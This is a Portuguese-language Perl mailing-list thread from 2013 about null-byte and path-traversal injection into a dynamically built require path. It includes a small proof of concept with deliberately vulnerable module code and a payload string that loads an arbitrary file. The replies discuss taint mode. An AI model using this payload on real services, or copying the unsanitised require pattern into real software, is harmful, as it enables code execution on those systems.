[SP-pm] Perl e Null byte

Stanislaw Pusep creaktive at gmail.com
Tue Jun 11 16:18:06 PDT 2013


Posso estar enganado, mas taint marca como "sanitizado" quer string que
passa por expressão regular. No exemplo acima, nem com o taint corrigiria
(não olhei tão atentamente, por outro lado).
Alias, quem é que usa taint? :P

вторник, 11 июня 2013 г. пользователь Tiago Peczenyj писал:

> teste em 'taint' mode :)
>
>
> 2013/6/11 Junior Moraes <junior em fvox.com.br <javascript:_e({}, 'cvml',
> 'junior em fvox.com.br');>>
>
>> Hi.
>>
>> Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1]
>> dentro de um webservice que retorna as informações desejadas. Neste módulo,
>> temos o método adExport() que recebe um parâmetro (que, no caso da
>> aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o
>> módulo.
>> Fiquei brincando de manipular o path com esse parâmetro, mas a
>> concatenação da string '.pm' dificultava as coisas. Porém, como na
>> exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível
>> ignorar isso com o bom e velho null byte[2].
>>
>> Escrevi um exemplo prático:
>>
>> $ pwd
>> /home/fvox/poc
>>
>> $ cat Module.pm
>> package Module;
>>
>> use common::sense;
>> use Moo;
>> use Carp;
>>
>> use vars qw(@ISA @EXPORT);
>> @ISA = qw(Exporter);
>> @EXPORT = qw(testing);
>>
>> sub testing {
>>     my $plugin = shift;
>>
>>     my $module = 'Module/' . $plugin . '.pm';
>>     eval { require $module; };
>>     croak $@ if $@;
>>
>>     $module =~ s/\//::/g;
>>     $module =~ s/\.pm$//gi;
>>     my $obj = $module->new;
>> }
>>
>> 1;
>>
>> $ cat inc.pl
>> print "Null Byte injetado com sucesso! :)\n";
>>
>> $ perl -MModule -E'say testing("../../../../../../../../../home/fvox/poc/inc.pl\00");'*Null Byte injetado com sucesso! :)*
>> Can't locate object method "new" via package "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl" (perhaps you forgot to load "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?) at Module.pm line 21.
>>
>>
>> Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que
>> é possível injetar um 'evil code' num código vulnerável sem muitos
>> problemas. Suponho que também funcione na função open(), entre outros casos.
>> Alguém já tinha brincado com isso antes? Hhauhauh
>>
>> PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de
>> retardado e brincar com isso em 2013... :P
>>
>> [1] https://metacpan.org/module/AnyData
>> [2] http://en.wikipedia.org/wiki/Null_character
>>
>> --
>>
>> ====================================
>> Junior "fvox" Moraes
>> Linux Reg. #557527
>> junior[at]fvox[dot]com[dot]br
>> fb[dot]com/juniorfvox
>> twitter[dot]com/fvox
>> ====================================
>> =begin disclaimer
>>    Sao Paulo Perl Mongers: http://sao-paulo.pm.org/
>>  SaoPaulo-pm mailing list: SaoPaulo-pm em pm.org <javascript:_e({}, 'cvml',
>> 'SaoPaulo-pm em pm.org');>
>>  L<http://mail.pm.org/mailman/listinfo/saopaulo-pm>
>> =end disclaimer
>>
>>
>
>
> --
> Tiago B. Peczenyj
> Linux User #405772
>
> http://about.me/peczenyj
>


-- 
Отправлено с моего iPhone
-------------- Pr�xima Parte ----------
Um anexo em HTML foi limpo...
URL: <http://mail.pm.org/pipermail/saopaulo-pm/attachments/20130611/ba15c625/attachment.html>


More information about the SaoPaulo-pm mailing list